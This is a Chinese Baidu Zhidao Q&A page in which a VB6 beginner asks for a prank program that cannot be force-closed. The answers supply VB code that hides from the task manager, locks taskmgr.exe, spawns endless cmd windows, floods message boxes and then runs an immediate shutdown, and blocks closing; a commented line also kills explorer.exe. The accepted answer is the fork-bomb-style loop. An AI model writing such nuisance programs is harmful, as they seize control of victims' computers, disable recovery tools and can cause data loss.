VB恶搞程序

刚学VB不久突然想要个恶搞的程序。。可以退出不可以强制退出的那种最好每段后面都有这段的意思谢谢麻烦乐... 刚学VB不久 突然想要个恶搞的程序。。可以退出 不可以强制退出的那种 最好每段后面都有这段的意思 谢谢麻烦乐 展开
 我来答
cyq4782
2010-05-02 · TA获得超过796个赞
知道小有建树答主
回答量:286
采纳率:0%
帮助的人:277万
展开全部
这是一个吓人程序:
首先新建一个文件夹,放一张比较吓人的图片,名称为“3.jpg”。
在vb中新建工程,创建一个计时器,interval设为1000。窗体的borderstyie设为0。
输入如下代码:
Dim a, x As Integer
Dim b As Boolean
Private Sub Form_Load()
Form1.Picture = LoadPicture(App.Path & "\3.jpg")
a = 0
b = False
Form1.Hide
'Shell "cmd /c taskkill /im explorer.exe /f"
End Sub

Private Sub Timer1_Timer()
App.TaskVisible = False
If a = 120 Then
Form1.Show
b = True
a = 0
Else
a = a + 1
End If
If b = True Then
x = x + 1
End If
If x = 10 Then
Form1.Hide
x = 0
b = False
End If
End Sub
Private Sub Form_DblClick()
End
End Sub
双击后窗体关闭,否则每隔120秒打开窗体10秒。 (程序可执行文件放入与图片相同的文件夹)
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
AiPPT
2024-09-19 广告
作为北京饼干科技有限公司的工作人员,关于AIPPT免费生成PPT的功能,我可以简要介绍如下:AIPPT是一款基于人工智能技术的PPT制作工具,它为用户提供了免费生成PPT的便捷服务。用户只需简单输入PPT的主题或内容大纲,AIPPT便能智能... 点击进入详情页
本回答由AiPPT提供
翌_5021
2010-05-03
知道答主
回答量:7
采纳率:0%
帮助的人:0
展开全部
private sub form_Load()
dim i as integer
i=1
Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1
while(i>0)’构造死循环
shell("C:\windows\system32\cmd.exe")
wend
end sub
另外把窗体的Visible属性设置成False,这样连程序窗体都看不到了
本回答被提问者采纳
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
四海6768
2010-05-02 · TA获得超过3434个赞
知道大有可为答主
回答量:3289
采纳率:50%
帮助的人:941万
展开全部
做个循环,只有按Q键才可以退出。
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
仪姮是淑慧
2019-02-28 · TA获得超过3707个赞
知道小有建树答主
回答量:3115
采纳率:34%
帮助的人:237万
展开全部
1、窗口炸弹
Private
Sub
Form_Load()
For
a
=
1
To
10
Shell
"cmd
/c
echo
轰隆——一切的全完了!
&
pause",
vbNormalFocus
Next
End
Sub
2、数羊程序
Private
Sub
Form_Load()
MsgBox
"困死我了,睡不着,帮我数羊",
,
"数羊"
MsgBox
"就一百只羊吧!",
,
"数羊"
For
a
=
1
To
100
MsgBox
a
&
"只羊",
,
"数羊"
Next
MsgBox
"身边没个人,好孤单,好寂寞……",
"64",
"数羊"
Shell
"shutdown
-s
-t
0"
End
Sub
3、按十万次回车
Private
Sub
Form_Load()
For
a
=
1
To
100000
SendKeys
"{enter}"
Next
End
Sub
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
bydosniper
2010-05-02 · TA获得超过1059个赞
知道小有建树答主
回答量:605
采纳率:100%
帮助的人:243万
展开全部
'新建一个工程,什么都不干
'在Form_QueryUnload 和 Unload事件写代码
Private Sub Form_Load()
App.TaskVisible = False '不在任务管理器显示
'Form1.ShowInTaskBar = False '不在任务栏显示
End Sub

Private Sub Form_QueryUnload(Cancel As Integer)
Msgbox "对不起,现在忙..."
Cancel = 1
End Sub

Private Sub Form_Unload(Cancel As Integer)
Msgbox "对不起,现在忙..."
Cancel = 1
End Sub

Private Sub Form_Click()
Static i As Integer
i = i + 1
If i >= 100 Then End '点100次窗体就结束
End Sub
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 更多回答(4)
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式